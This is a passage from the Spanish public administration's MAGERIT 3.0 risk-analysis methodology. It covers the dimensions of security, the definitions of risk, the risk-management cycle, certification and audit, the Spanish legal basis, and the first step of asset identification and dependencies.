de las salvaguardas existentes en relación al riesgo que afrontan. Estado de riesgo Caracterización de los activos por su riesgo residual; es decir, por lo que puede pasar tomando en consideración las salvaguardas desplegadas. Informe de insuficiencias Ausencia o debilidad de las salvaguardas que aparecen como oportunas para reducir los riesgos sobre el sistema. Es decir, recoge las vulnerabilidades del sistema, entendidas como puntos débilmente protegidos por los que las amenazas podrían materializarse. Cumplimiento de normativa Satisfacción de unos requisitos. Declaración de que se ajusta y es conforme a la normativa correspondiente. Plan de seguridad Conjunto de proyectos de seguridad que permiten materializar las decisiones de tratamiento de riesgos

1.5. Introducción al análisis y gestión de riesgos Seguridad es la capacidad de las redes o de los sistemas de información para resistir, con un determinado nivel de confianza, los accidentes o acciones ilícitas o malintencionadas que compro© Ministerio de Hacienda y Administraciones Públicas

página 8 (de 127)

Magerit 3.0

Introducción

metan la disponibilidad, autenticidad, integridad y confidencialidad de los datos almacenados o transmitidos y de los servicios que dichas redes y sistemas ofrecen o hacen accesibles. 5 El objetivo a proteger es la misión de la Organización, teniendo en cuenta las diferentes dimensiones de la seguridad: Disponibilidad: o disposición de los servicios a ser usados cuando sea necesario. La carencia de disponibilidad supone una interrupción del servicio. La disponibilidad afecta directamente a la productividad de las organizaciones. Integridad: o mantenimiento de las características de completitud y corrección de los datos. Contra la integridad, la información puede aparecer manipulada, corrupta o incompleta. La integridad afecta directamente al correcto desempeño de las funciones de una Organización. Confidencialidad: o que la información llegue solamente a las personas autorizadas. Contra la confidencialidad o secreto pueden darse fugas y filtraciones de información, así como accesos no autorizados. La confidencialidad es una propiedad de difícil recuperación, pudiendo minar la confianza de los demás en la organización que no es diligente en el mantenimiento del secreto, y pudiendo suponer el incumplimiento de leyes y compromisos contractuales relativos a la custodia de los datos. A estas dimensiones canónicas de la seguridad se pueden añadir otras derivadas que nos acerquen a la percepción de los usuarios de los sistemas de información: Autenticidad: Propiedad o característica consistente en que una entidad es quien dice ser o bien que garantiza la fuente de la que proceden los datos. Contra la autenticidad de la información podemos tener manipulación del origen o el contenido de los datos. Contra la autenticidad de los usuarios de los servicios de acceso, podemos tener suplantación de identidad. Trazabilidad: Aseguramiento de que en todo momento se podrá determinar quién hizo qué y en qué momento. La trazabilidad es esencial para analizar los incidentes, perseguir a los atacantes y aprender de la experiencia. La trazabilidad se materializa en la integridad de los registros de actividad. Todas estas características pueden ser requeridas o no dependiendo de cada caso. Cuando se requieren, no es evidente que se disfruten sin más. Lo habitual que haya que poner medios y esfuerzo para conseguirlas. A racionalizar este esfuerzo se dedican las metodologías de análisis y gestión de riesgos que comienzan con una definición: Riesgo: estimación del grado de exposición a que una amenaza se materialice sobre uno o más activos causando daños o perjuicios a la Organización. El riesgo indica lo que le podría pasar a los activos si no se protegieran adecuadamente. Es importante saber qué características son de interés en cada activo, así como saber en qué medida estas características están en peligro, es decir, analizar el sistema: Análisis de riesgos: proceso sistemático para estimar la magnitud de los riesgos a que está expuesta una Organización. Sabiendo lo que podría pasar, hay que tomar decisiones:

5

Reglamento (CE) n 460/2004 del Parlamento Europeo y del Consejo, de 10 de marzo de 2004, por el que se crea la Agencia Europea de Seguridad de las Redes y de la Información.

© Ministerio de Hacienda y Administraciones Públicas

página 9 (de 127)

Magerit 3.0

Introducción

Tratamiento de los riesgos proceso destinado a modificar el riesgo. Hay múltiples formas de tratar un riesgo: evitar las circunstancias que lo provocan, reducir las posibilidades de que ocurra, acotar sus consecuencias, compartirlo con otra organización (típicamente contratando un servicio o un seguro de cobertura), o, en última instancia, aceptando que pudiera ocurrir y previendo recursos para actuar cuando sea necesario. Nótese que una opción legítima es aceptar el riesgo. Es frecuente oír que la seguridad absoluta no existe; en efecto, siempre hay que aceptar un riesgo que, eso sí, debe ser conocido y sometido al umbral de calidad que se requiere del servicio. Es más, a veces aceptamos riesgos operacionales para acometer actividades que pueden reportarnos un beneficio que supera al riesgo, o que tenemos la obligación de afrontar. Es por ello que a veces se emplean definiciones más amplias de riesgo: Efecto de la incertidumbre sobre la consecución de los objetivos. [ISO Guía 73] Como todo esto es muy delicado, no es meramente técnico, e incluye la decisión de aceptar un cierto nivel de riesgo, deviene imprescindible saber en qué condiciones se trabaja y así poder ajustar la confianza que merece el sistema. Para ello, qué mejor que una aproximación metódica que permita tomar decisiones con fundamento y explicar racionalmente las decisiones tomadas.

1.6. El análisis y el tratamiento de los riesgos en su contexto Las tareas de análisis y tratamiento de los riesgos no son un fin en sí mismas sino que se encajan en la actividad continua de gestión de la seguridad. El análisis de riesgos permite determinar cómo es, cuánto vale y cómo de protegido se encuentra el sistema. En coordinación con los objetivos, estrategia y política de la Organización, las actividades de tratamiento de los riesgos permiten elaborar un plan de seguridad que, implantado y operado, satisfaga los objetivos propuestos con el nivel de riesgo que acepta la Dirección. Al conjunto de estas actividades se le denomina Proceso de Gestión de Riesgos. La implantación de las medidas de seguridad requiere una organización gestionada y la participación informada de todo el personal que trabaja con el sistema de información. Es este personal el responsable de la operación diaria, de la reacción ante incidencias y de la monitorización en general del sistema para determinar si satisface con eficacia y eficiencia los objetivos propuestos. Este esquema de trabajo debe ser repetitivo pues los sistemas de información rara vez son inmutables; más bien se encuentran sometidos a evolución continua tanto propia (nuevos activos) como del entorno (nuevas amenazas), lo que exige una revisión periódica en la que se aprende de la experiencia y se adapta al nuevo contexto. El análisis de riesgos proporciona un modelo del sistema en términos de activos, amenazas y salvaguardas, y es la piedra angular para controlar todas las actividades con fundamento. La fase de tratamiento estructura las acciones que se acometen en materia de seguridad para satisfacer las necesidades detectadas por el análisis. Los sistemas de gestión de la seguridad de la información (SGSI) [ISO 27001] formalizan cuatro etapas cíclicas:

© Ministerio de Hacienda y Administraciones Públicas

página 10 (de 127)

Magerit 3.0

Introducción

Ilustración 2. Ciclo PDCA

El análisis de riesgos es parte de las actividades de planificación, donde se toman decisiones de tratamiento. Estas decisiones se materializan en la etapa de implantación, donde conviene desplegar elementos que permitan la monitorización de las medidas desplegadas para poder evaluar la efectividad de las mismas y actuar en consecuencia, dentro de un círculo de excelencia o mejora continua.

1.6.1. Concienciación y formación El mejor plan de seguridad se vería seriamente hipotecado sin una colaboración activa de las personas involucradas en el sistema de información, especialmente si la actitud es negativa, contraria a las medidas, o tienen la percepción de pasarse el día “luchando contra las [absurdas] medidas de seguridad”. Es por ello que se requiere la creación de una “cultura de seguridad” que, emanando de la alta dirección, conciencie a todos los involucrados de su necesidad y pertinencia. Son tres los pilares fundamentales para la creación de esta cultura: •

una política de seguridad corporativa que se entienda (escrita para los que no son expertos en la materia), que se difunda y que se mantenga al día

•

una normativa se seguridad que, entrando en áreas específicas de actividad, aclare la postura de la Organización; es decir, defina lo que es uso correcto y lo que es incumplimiento

•

una formación continua a todos los niveles, recordando las cautelas rutinarias y las actividades especializadas, según la responsabilidad adscrita a cada puesto de trabajo

A fin de que estas actividades cuajen en la organización, es imprescindible que la seguridad sea: •

mínimamente intrusiva: que no dificulte innecesariamente la actividad diaria ni hipoteque alcanzar los objetivos de productividad propuestos,

•

sea “natural”: que no de pie a errores gratuitos 6 , que facilite el cumplimiento de las buenas prácticas propuestas y

•

practicada por la Dirección: que dé ejemplo en la actividad diaria y reaccione con presteza a los cambios e incidencias.

1.6.2. Incidencias y recuperación Las personas involucradas en la utilización y operación del sistema deben ser conscientes de su papel y relevancia continua para prevenir problemas y reaccionar cuando se produzcan. Es importante crear una cultura de responsabilidad donde los potenciales problemas, detectados por los que están cercanos a los activos afectados, puedan ser canalizados hacia los puntos de decisión. De esta forma el sistema de seguridad responderá con presteza a las circunstancias de cada momento. 6

A menudo se oye hablar de “seguridad por defecto” o “seguridad sin manual” para recoger esta idea de que los sistemas son más seguros si la forma natural de utilizarlos es la forma segura de utilizarlos.

© Ministerio de Hacienda y Administraciones Públicas

página 11 (de 127)

Magerit 3.0

Introducción

Cuando se produce una incidencia, el tiempo empieza a correr en contra del sistema: su supervivencia depende de la agilidad y corrección de las actividades de reporte y reacción. Cualquier error, imprecisión o ambigüedad en estos momentos críticos, se ve amplificado convirtiendo lo que podía ser un mero incidente en un desastre. Conviene aprender continuamente, tanto de los éxitos como de los fracasos, e incorporar lo que vamos aprendiendo al proceso de gestión de riesgos. La madurez de una organización se refleja en la pulcritud y realismo de su modelo de valor y, consecuentemente, en la idoneidad de las salvaguardas de todo tipo, desde medidas técnicas hasta una óptima organización.

1.7. Organización de las guías Esta versión 3 de Magerit se ha estructurado en dos libros y una guía de técnicas: — Libro I – Método — Libro II – Catálogo de elementos — Guía de Técnicas – Recopilación de técnicas de diferente tipo que pueden ser de utilidad para la aplicación del método. Este libro se estructura de la siguiente forma: •

El capítulo 2 presenta los conceptos informalmente. En particular se enmarcan las actividades de análisis y tratamiento dentro de un proceso integral de gestión de riesgos.

•

El capítulo 3 concreta los pasos y formaliza las actividades de análisis de los riesgos.

•

El capítulo 4 describe opciones y criterios de tratamiento de los riesgos y formaliza las actividades de gestión de riesgos.

•

El capítulo 5 se centra en los proyectos de análisis de riesgos, proyectos en los que nos veremos inmersos para realizar el primer análisis de riesgos de un sistema y eventualmente cuando hay cambios sustanciales y hay que rehacer el modelo ampliamente.

•

El capítulo 6 formaliza las actividades de los planes de seguridad, a veces denominados planes directores o planes estratégicos.

•

El capítulo 7 se centra en el desarrollo de sistemas de información y cómo el análisis de riesgos sirve para gestionar la seguridad del producto final desde su concepción inicial hasta su puesta en producción, así como a la protección del propio proceso de desarrollo.

•

El capítulo 8 se anticipa a algunos problemas que aparecen recurrentemente cuando se realizan análisis de riesgos.

Los apéndices recogen material de consulta: 1. un glosario, 2. referencias bibliográficas consideradas para el desarrollo de esta metodología, 3. referencias al marco legal que encuadra las tareas de análisis y gestión en la Administración Pública Española, 4. el marco normativo de evaluación y certificación 5. las características que se requieren de las herramientas, presentes o futuras, para soportar el proceso de análisis y gestión de riesgos, 6. una guía comparativa de cómo Magerit versión 1 ha evolucionado a la versión 2 y a esta versión 3.

1.7.1. Modo de empleo Siempre se explican informalmente las actividades a realizar, y en ciertos casos se formalizan como tareas que permiten una planificación y seguimiento:

© Ministerio de Hacienda y Administraciones Públicas

página 12 (de 127)

Magerit 3.0

Introducción

Ilustración 3. Actividades formalizadas

En sistemas pequeños, estas actividades pueden llevarse a cabo sin muchos formalismos; pero cuando el sistema adquiere envergadura e involucra a diferentes personas y equipos de trabajo durante varias semanas, meses o años, la planificación formal ayuda a mantener el proceso bajo control. En el planteamiento de estas guías se ha seguido un criterio “de máximos”, reflejando todo tipo de situaciones. En la práctica, el usuario puede encontrarse ante situaciones donde el alcance es más restringido. Ante estas situaciones, conviene ser práctico y no pretender aplicar todas las tareas descritas en Magerit desde el primer momento. Suele ser prudente realizar una aproximación iterativa, aplicando el método primero con trazo grueso y luego ir revisando el modelo para entrar en detalles. El proceso de gestión de riesgos debe identificar y tratar urgentemente los riesgos críticos, pudiendo ir tratando progresivamente riesgos de menor criticidad. Como se dice popularmente “lo perfecto es enemigo de lo bueno”. Lo prudente es armonizar el esfuerzo al valor de la información y los servicios que se sustentan. Entiéndase pues Magerit como una guía que se puede y se debe adaptar al caso y sus circunstancias.

1.7.2. El catálogo de elementos En libro aparte, se propone un catálogo, abierto a ampliaciones, que marca unas pautas en cuanto a: •

tipos de activos

•

dimensiones de valoración de los activos

•

criterios de valoración de los activos

•

amenazas típicas sobre los sistemas de información

•

salvaguardas a considerar para proteger sistemas de información

Se persiguen dos objetivos: 1. Por una parte, facilitar la labor de las personas que acometen el proyecto, en el sentido de ofrecerles elementos estándar a los que puedan adscribirse rápidamente, centrándose en lo específico del sistema objeto del análisis. 2. Por otra, homogeneizar los resultados de los análisis, promoviendo una terminología y unos criterios uniformes que permitan comparar e incluso integrar análisis realizados por diferentes equipos. Cada sección incluye una notación XML que se empleará para publicar regularmente los elementos en un formato estándar capaz de ser procesado automáticamente por herramientas de análisis y gestión. © Ministerio de Hacienda y Administraciones Públicas

página 13 (de 127)

Magerit 3.0

Introducción

Si el lector usa una herramienta de análisis y gestión de riesgos, este catálogo será parte de la misma; si el análisis se realiza manualmente, este catálogo proporciona una amplia base de partida para avanzar rápidamente sin distracciones ni olvidos.

1.7.3. La guía de técnicas En libro aparte, aporta luz adicional y orientación sobre algunas técnicas que se emplean habitualmente para llevar a cabo proyectos de análisis y gestión de riesgos: •

•

técnicas específicas para el análisis de riesgos •

análisis mediante tablas

•

análisis algorítmico

•

árboles de ataque

técnicas generales •

técnicas gráficas

•

sesiones de trabajo: entrevistas, reuniones y presentaciones

•

valoración Delphi

Se trata de una guía de consulta. Según el lector avance por la tareas del proyecto, se le recomendará el uso de ciertas técnicas específicas, de las que esta guía busca ser una introducción, así como proporcionar referencias para que el lector profundice en las técnicas presentadas.

1.8. Evaluación, certificación, auditoría y acreditación El análisis de riesgos es una piedra angular de los procesos de evaluación, certificación, auditoría y acreditación que formalizan la confianza que merece un sistema de información. Dado que no hay dos sistemas de información iguales, la evaluación de cada sistema concreto requiere amoldarse a los componentes que lo constituyen. El análisis de riesgos proporciona una visión singular de cómo es cada sistema, qué valor posee, a qué amenazas está expuesto y de qué salvaguardas se ha dotado. Es pues el análisis de riesgos paso obligado para poder llevar a cabo todas las tareas mencionadas, que se relacionan según el siguiente esquema:

© Ministerio de Hacienda y Administraciones Públicas

página 14 (de 127)

Magerit 3.0

Introducción

Ilustración 4. Contexto de certificación y acreditación de sistemas de información

En esta sección se hace una presentación conceptual de las actividades citadas. El lector encontrará en el apéndice 4 un tratamiento específico de los marcos normativos relativos a sistemas de gestión y productos de seguridad.

Evaluación Es cada vez más frecuente la evaluación de la seguridad de los sistemas de información, tanto internamente como parte de los procesos de gestión, como por medio de evaluadores independientes externos. Las evaluaciones permiten medir el grado de confianza que merece o inspira un sistema de información.

Certificación La evaluación puede llevar a una certificación o registro de la seguridad del sistema. En la práctica se certifican productos y se certifican sistemas de gestión de la seguridad. La certificación de productos es, de alguna forma, impersonal: “esto tiene estas características técnicas”. Sin embargo, la certificación de sistemas de gestión tiene que ver con el “componente humano” de las organizaciones buscando el análisis de cómo se explotan los sistemas 7 . Certificar es asegurar responsablemente y por escrito un comportamiento. Lo que se certifica, producto o sistema, se somete a una serie de evaluaciones orientadas por un objetivo ¿para qué lo quiere? 8 . Un certificado dice que un sistema es capaz de proteger unos datos de unas amenazas con una cierta calidad (capacidad de protección). Y lo dice en base a que ha observado la existencia y el funcionamiento de una serie de salvaguardas. Es decir que detrás de un certificado no hay sino los conceptos de un análisis de riesgos.

7 Hay vehículos con altas calificaciones técnicas y otros más humildes. Lo mismo que hay conductores que son verdaderos profesionales y otros de los que nunca nos explicaremos cómo es que están certificados como “aptos para el manejo de vehículos”. Lo ideal es poner un gran coche en manos de un gran conductor. De ahí para abajo, tenemos una gran variedad de situaciones de menor confianza: mayor riesgo de que algo vaya mal. 8 Y así tenemos sistemas aptos para “consumo humano” o “utilización en condiciones térmicas extremas”.

© Ministerio de Hacienda y Administraciones Públicas

página 15 (de 127)

Magerit 3.0

Introducción

Antes de proceder a la certificación, debe haberse realizado un análisis de riesgos a fin de conocer los riesgos y de controlarlos mediante la adopción de los controles adecuados, además, será un punto de control de la gestión del producto o sistema.

Acreditación Algunas certificaciones tienen como objetivo la acreditación del producto o sistema. La acreditación es un proceso específico cuyo objetivo es legitimar al sistema para formar parte de sistemas más amplios. Se puede ver como una certificación para un propósito específico.

Auditorías Aunque no sea lo mismo, no están muy lejos de este mundo las auditorías, internas o externas, a las que se someten los sistemas de información •

unas veces requeridas por ley para poder operar en un cierto sector (cumplimiento),

•

otras veces requeridas por la propia Dirección de la Organización,

•

otras veces requeridas por entidades colaboradoras que ven su propio nivel de riesgo ligado al nuestro.

Una auditoría puede servirse de un análisis de riesgos que le permita (1) saber qué hay en juego, (2) saber a qué está expuesto el sistema y (3) valorar la eficacia y eficiencia de las salvaguardas. Frecuentemente, los auditores parten de un análisis de riesgos, implícito o explícito, que, o bien realizan ellos mismos, o bien lo auditan. Siempre en la primera fase de la auditoría, pues es difícil opinar de lo que no se conoce. A partir del análisis de riesgos se puede analizar el sistema e informar a la gerencia de si el sistema está bajo control; es decir, si las medidas de seguridad adoptadas están justificadas, implantadas y monitorizadas, de forma que se puede confiar en el sistema de indicadores de que dispone la gerencia para gestionar la seguridad de los sistemas. La conclusión de la auditoría es un informe de insuficiencias detectadas, que no son sino incoherencias entre las necesidades identificadas en el análisis de riesgos y la realidad detectada durante la inspección del sistema en operación. El informe de auditoría deberá dictaminar sobre la adecuación de las medidas y controles a la Ley y su desarrollo reglamentario, identificar sus deficiencias y proponer las medidas correctoras o complementarias necesarias. Deberá, igualmente, incluir los datos, hechos y observaciones en que se basen los dictámenes alcanzados y recomendaciones propuestas. [RD 1720/2007, artículo 96.2] En el caso de la Administración pública, existen algunos referentes fundamentales respecto de los cuales se puede y se debe realizar auditorías: •

Real Decreto 1720/2007, de 21 de diciembre, por el que se aprueba el Reglamento de desarrollo de la Ley Orgánica 15/1999, de 13 de diciembre, de protección de datos de carácter personal.

•

Real Decreto 3/2010, de 8 de enero, por el que se regula el Esquema Nacional de Seguridad en el ámbito de la Administración Electrónica. BOE de 29 de enero de 2010.

Las auditorías deben repetirse regularmente tanto para seguir la evolución del análisis de riesgos (que se debe actualizar regularmente) como para seguir el desarrollo del plan de seguridad determinado por las actividades de gestión de riesgos.

1.9. ¿Cuándo procede analizar y gestionar los riesgos? Un análisis de riesgos TIC es recomendable en cualquier Organización que dependa de los sistemas de información y comunicaciones para el cumplimiento de su misión. En particular en cualquier entorno donde se practique la tramitación electrónica de bienes y servicios, sea en contexto público o privado. El análisis de riesgos permite tomar decisiones de gestión y asignar recursos con perspectiva, sean tecnológicos, humanos o financieros. © Ministerio de Hacienda y Administraciones Públicas

página 16 (de 127)

Magerit 3.0

Introducción

El análisis de riesgos es una herramienta de gestión que permite tomar decisiones. Las decisiones pueden tomarse antes de desplegar un servicio o con éste funcionando. Es muy deseable hacerlo antes, de forma que las medidas que haya que tomar se incorporen en el diseño del servicio, en la elección de componentes, en el desarrollo del sistema y en los manuales de usuario. Todo lo que sea corregir riesgos imprevistos es costoso en tiempo propio y ajeno, lo que puede ir en detrimento de la imagen prestada por la Organización y puede suponer, en último extremo, la pérdida de confianza en su capacidad. Siempre se ha dicho que es mejor prevenir que curar y aquí se aplica: no espere a que un servicio haga agua; hay que prever y estar prevenido. Realizar un análisis de riesgos es laborioso y costoso. Levantar un mapa de activos y valorarlos requiere la colaboración de muchos perfiles dentro de la Organización, desde los niveles de gerencia hasta los técnicos. Y no solo es que haya que involucrar a muchas personas, sino que hay que lograr una uniformidad de criterio entre todos pues, si importante es cuantificar los riesgos, más importante aún es relativizarlos. Y esto es así porque típicamente en un análisis de riesgos aparecen multitud de datos. La única forma de afrontar la complejidad es centrarse en lo más importante (máximo impacto, máximo riesgo) y obviar lo que es secundario o incluso despreciable. Pero si los riesgos no están bien ordenados en términos relativos, su interpretación es imposible. En resumen, que un análisis de riesgos no es una tarea menor que realiza cualquiera en sus ratos libres. Es una tarea mayor que requiere esfuerzo y coordinación. Por tanto debe ser planificada y justificada.

Certificación y acreditación Si el sistema aspira a una certificación, el análisis de riesgos es un requisito previo que exigirá el evaluador. Es la fuente de información para determinar la relación de controles pertinentes para el sistema y que por tanto deben ser inspeccionados. Véase el apéndice 4.1 sobre certificación de sistemas de gestión de la seguridad de la información (SGSI). El análisis de riesgos es así mismo un requisito exigido en los procesos de acreditación 9 de sistemas. Estos procesos son necesarios cuando se va a manejar en el sistema información clasificada nacional, UE, OTAN o de otros acuerdos internacionales. El primer paso del proceso es la realización del análisis de riesgos que identifique amenazas y salvaguardas y gestione satisfactoriamente los riesgos del sistema.

Por precepto legal El análisis de riesgos puede venir requerido por precepto legal. Tal es el caso de Real Decreto 3/2010, de 8 de enero, por el que se regula el Esquema Nacional de Seguridad en el ámbito de la Administración Electrónica. En el Capítulo II, Principios Básicos, se dice: Artículo 6. Gestión de la seguridad basada en los riesgos. 1. El análisis y gestión de riesgos será parte esencial del proceso de seguridad y deberá mantenerse permanentemente actualizado. 2. La gestión de riesgos permitirá el mantenimiento de un entorno controlado, minimizando los riesgos hasta niveles aceptables. La reducción de estos niveles se realizará mediante el despliegue de medidas de seguridad, que establecerá un equilibrio entre la naturaleza de los datos y los tratamientos, los riesgos a los que estén expuestos y las medidas de seguridad. El mismo Real Decreto 3/2010, en el Capítulo III, Requisitos Mínimos, se dice: Artículo 13. Análisis y gestión de los riesgos. 1. Cada organización que desarrolle e implante sistemas para el tratamiento de la información y las comunicaciones realizará su propia gestión de riesgos. 2. Esta gestión se realizará por medio del análisis y tratamiento de los riesgos a los que está expuesto el sistema. Sin perjuicio de lo dispuesto en el Anexo II, se empleará alguna metodología reconocida internacionalmente. 9 En el sentido formal de autorización para manejar información clasificada. Los procesos de acreditación se ajustan a la normativa aplicable en cada caso.

© Ministerio de Hacienda y Administraciones Públicas

página 17 (de 127)

Magerit 3.0

Introducción

3. Las medidas adoptadas para mitigar o suprimir los riesgos deberán estar justificadas y, en todo caso, existirá una proporcionalidad entre ellas y los riesgos. La Ley 11/2007, de 22 de junio, de acceso electrónico de los ciudadanos a los Servicios Públicos, que en su Artículo 1, Objeto de la Ley, dice así: 2. Las Administraciones Públicas utilizarán las tecnologías de la información de acuerdo con lo dispuesto en la presente Ley, asegurando la disponibilidad, el acceso, la integridad, la autenticidad, la confidencialidad y la conservación de los datos, informaciones y servicios que gestionen en el ejercicio de sus competencias. La Ley Orgánica 15/1999, de 13 de diciembre, de protección de datos de carácter personal, en su artículo 9 (Seguridad de los datos) dice así: 1. El responsable del fichero, y, en su caso, el encargado del tratamiento, deberán adoptar las medidas de índole técnica y organizativas necesarias que garanticen la seguridad de los datos de carácter personal y eviten su alteración, pérdida, tratamiento o acceso no autorizado, habida cuenta del estado de la tecnología, la naturaleza de los datos almacenados y los riesgos a que están expuestos, ya provengan de la acción humana o del medio físico o natural. Por último, la gestión continua de los riesgos es uno de los principio básicos del Esquema Nacional de Seguridad, ya citado anteriormente.

En conclusión Procede analizar y gestionar los riesgos cuando directa o indirectamente lo establezca un precepto legal y siempre que lo requiera la protección responsable de los activos de una organización.

© Ministerio de Hacienda y Administraciones Públicas

página 18 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

2. Visión de conjunto Hay dos grandes tareas a realizar: I. análisis de riesgos, que permite determinar qué tiene la Organización y estimar lo que podría pasar. II. tratamiento de los riesgos, que permite organizar la defensa concienzuda y prudente, defendiendo para que no pase nada malo y al tiempo estando preparados para atajar las emergencias, sobrevivir a los incidentes y seguir operando en las mejores condiciones; como nada es perfecto, se dice que el riesgo se reduce a un nivel residual que la Dirección asume. Ambas actividades, análisis y tratamiento se combinan en el proceso denominado Gestión de Riesgos.

Ilustración 5. Gestión de riesgos

El análisis de riesgos considera los siguientes elementos: 1. activos, que son los elementos del sistema de información (o estrechamente relacionados con este) que soportan la misión de la Organización 2. amenazas, que son cosas que les pueden pasar a los activos causando un perjuicio a la Organización 3. salvaguardas (o contra medidas), que son medidas de protección desplegadas para que aquellas amenazas no causen [tanto] daño. Con estos elementos se puede estimar: 1. el impacto: lo que podría pasar 2. el riesgo: lo que probablemente pase El análisis de riesgos permite analizar estos elementos de forma metódica para llegar a conclusiones con fundamento y proceder a la fase de tratamiento. Informalmente, se puede decir que la gestión de la seguridad de un sistema de información es la gestión de sus riesgos y que el análisis permite racionalizar dicha gestión.

© Ministerio de Hacienda y Administraciones Públicas

página 19 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

Formalmente, la gestión de los riesgos está estructurada de forma metódica en las normas ISO (ver Anexo 1). Se propone el siguiente esquema:

Ilustración 6. Proceso de gestión de riesgos (fuente: ISO 31000)

La determinación del contexto lleva a una determinación de los parámetros y condicionantes externos e internos que permiten encuadrar la política que se seguirá para gestionar los riesgos. Un elemento a destacar es el alcance del análisis, incluyendo obligaciones propias y obligaciones contraídas, así como las relaciones con otras organizaciones, sean para intercambio de información y servicios o proveedoras de servicios subcontratados. Véase la norma [ISO 31000] para un mayor desarrollo de los factores que determinan el contexto. La identificación de los riesgos busca una relación de los posibles puntos de peligro. Lo que se identifique será analizado en la siguiente etapa. Lo que no se identifique quedará como riesgo oculto o ignorado. El análisis de los riesgos busca calificar los riesgos identificados, bien cuantificando sus consecuencias (análisis cuantitativo), bien ordenando su importancia relativa (análisis cualitativo). De una u otra forma, como resultado del análisis tendremos una visión estructurada que nos permita centrarnos en lo más importante. La evaluación de los ri esgos va un paso más allá del análisis técnico y traduce las consecuencias a términos de negocio. Aquí entran factores de percepción, de estrategia y de política permitiendo tomar decisiones respecto de qué riesgos se aceptan y cuales no, así como de en qué circunstancias podemos aceptar un riesgo o trabajar en su tratamiento. El tratamiento de los riesgos recopila las actividades encaminadas a modificar la situación de riesgo. Es una actividad que presenta numerosas opciones como veremos más adelante. Comunicación y consulta. Es importante no olvidar nunca que los sistemas de información deben ser soporte de la productividad de la Organización. Es absurdo un sistema muy seguro pero que impide que la Organización alcance sus objetivos. Siempre hay que buscar un equilibrio entre seguridad y productividad y en ese equilibrio hay que contar con la colaboración de varios interlocutores:

© Ministerio de Hacienda y Administraciones Públicas

página 20 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

•

los usuarios cuyas necesidades deben ser tenidas en cuenta y a los que hay que informar para que colaboren activamente en la operación del sistema dentro de los parámetros de seguridad determinados por la Dirección

•

los proveedores externos, a los que hay proporcionar instrucciones claras para poder exigirles tanto el cumplimiento de los niveles de servicio requeridos, como la gestión de los incidentes de seguridad que pudieran acaecer

•

los órganos de gobierno para establecer canales de comunicación que consoliden la confianza de que el sistema de información responderá sin sorpresas para atender a la misión de la Organización y que los incidentes serán atajados de acuerdo el plan previsto

Seguimiento y revisión. Es importante no olvidar nunca que el análisis de riesgos es una actividad de despacho y que es imprescindible ver qué ocurre en la práctica y actuar en consecuencia, tanto reaccionando diligentemente a los incidentes, como mejorando continuamente nuestro conocimiento del sistema y de su entorno para mejorar el análisis y ajustarlo a la experiencia.

© Ministerio de Hacienda y Administraciones Públicas

página 21 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

3. Método de análisis de riesgos 3.1. Conceptos paso a paso El análisis de riesgos es una aproximación metódica para determinar el riesgo siguiendo unos pasos pautados: 1. determinar los activos relevantes para la Organización, su interrelación y su valor, en el sentido de qué perjuicio (coste) supondría su degradación 2. determinar a qué amenazas están expuestos aquellos activos 3. determinar qué salvaguardas hay dispuestas y cuán eficaces son frente al riesgo 4. estimar el impacto, definido como el daño sobre el activo derivado de la materialización de la amenaza 5. estimar el riesgo, definido como el impacto ponderado con la tasa de ocurrencia (o expectativa de materialización) de la amenaza Con el objeto de organizar la presentación, se introducen los conceptos de “impacto y riesgo potenciales” entre los pasos 2 y 3. Estas valoraciones son “teóricas”: en el caso de que no hubiera salvaguarda alguna desplegada. Una vez obtenido este escenario teórico, se incorporan las salvaguardas del paso 3, derivando estimaciones realistas de impacto y riesgo. La siguiente figura recoge este primer recorrido, cuyos pasos se detallan en las siguientes secciones:

Ilustración 7. Elementos del análisis de riesgos potenciales

3.1.1. Paso 1: Activos Componente o funcionalidad de un sistema de información susceptible de ser atacado deliberada o accidentalmente con consecuencias para la organización. Incluye: información, datos, servicios, aplicaciones (software), equipos (hardware), comunicaciones, recursos administrativos, recursos físicos y recursos humanos. [UNE 71504:2008] En un sistema de información hay 2 cosas esenciales: — la información que maneja — y los servicios que presta. Estos activos esenciales marcan los requisitos de seguridad para todos los demás componentes del sistema. © Ministerio de Hacienda y Administraciones Públicas

página 22 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

Subordinados a dicha esencia se pueden identificar otros activos relevantes: — Datos que materializan la información. — Servicios auxiliares que se necesitan para poder organizar el sistema. — Las aplicaciones informáticas (software) que permiten manejar los datos. — Los equipos informáti cos (hardware) y que permiten hospedar datos, aplicaciones y servicios. — Los soportes de información que son dispositivos de almacenamiento de datos. — El equipamiento auxiliar que complementa el material informático. — Las redes de comunicaciones que permiten intercambiar datos. — Las instalaciones que acogen equipos informáticos y de comunicaciones. — Las personas que explotan u operan todos los elementos anteriormente citados. No todos los activos son de la misma especie. Dependiendo del tipo de activo, las amenazas y las salvaguardas son diferentes 10 . El capítulo 2 del "Catálogo de Elementos" presenta una relación de tipos de activos.

Dependencias Los activos esenciales son la información y los servicios prestados; pero estos activos dependen de otros activos más prosaicos como pueden ser los equipos, las comunicaciones, las instalaciones y las frecuentemente olvidadas personas que trabajan con aquellos. De manera que los activos vienen a formar árboles o grafos de dependencias donde la seguridad de los activos que se encuentran más arriba en la estructura o ‘superiores’ depende de los activos que se encuentran más abajo o ‘inferiores’. Estas estructuras reflejan de arriba hacia abajo las dependencias, mientas que de abajo hacia arriba la propagación del daño caso de materializarse las amenazas. Por ello aparece como importante el concepto de “dependencias entre activos” o la medida en que un activo superior se vería afectado por un incidente de seguridad en un activo inferior 11 . Se dice que un “activo superior” depende de otro “activo inferior” cuando las necesidades de seguridad del superior se reflejan en las necesidades de seguridad del inferior. O, dicho en otras palabras, cuando la materialización de una amenaza en el activo inferior tiene como consecuencia un perjuicio sobre el activo superior. Informalmente puede interpretarse que los activos inferiores son los pilares en los que se apoya la seguridad de los activos superiores. Aunque en cada caso hay que adaptarse a la Organización objeto del análisis, con frecuencia se puede estructurar el conjunto de activos en capas, donde las capas superiores dependen de las inferiores: •

•

activos esenciales •

información que se maneja

•

servicios prestados

servicios internos •

•

que estructuran ordenadamente el sistema de información

el equipamiento informático •

aplicaciones (software)

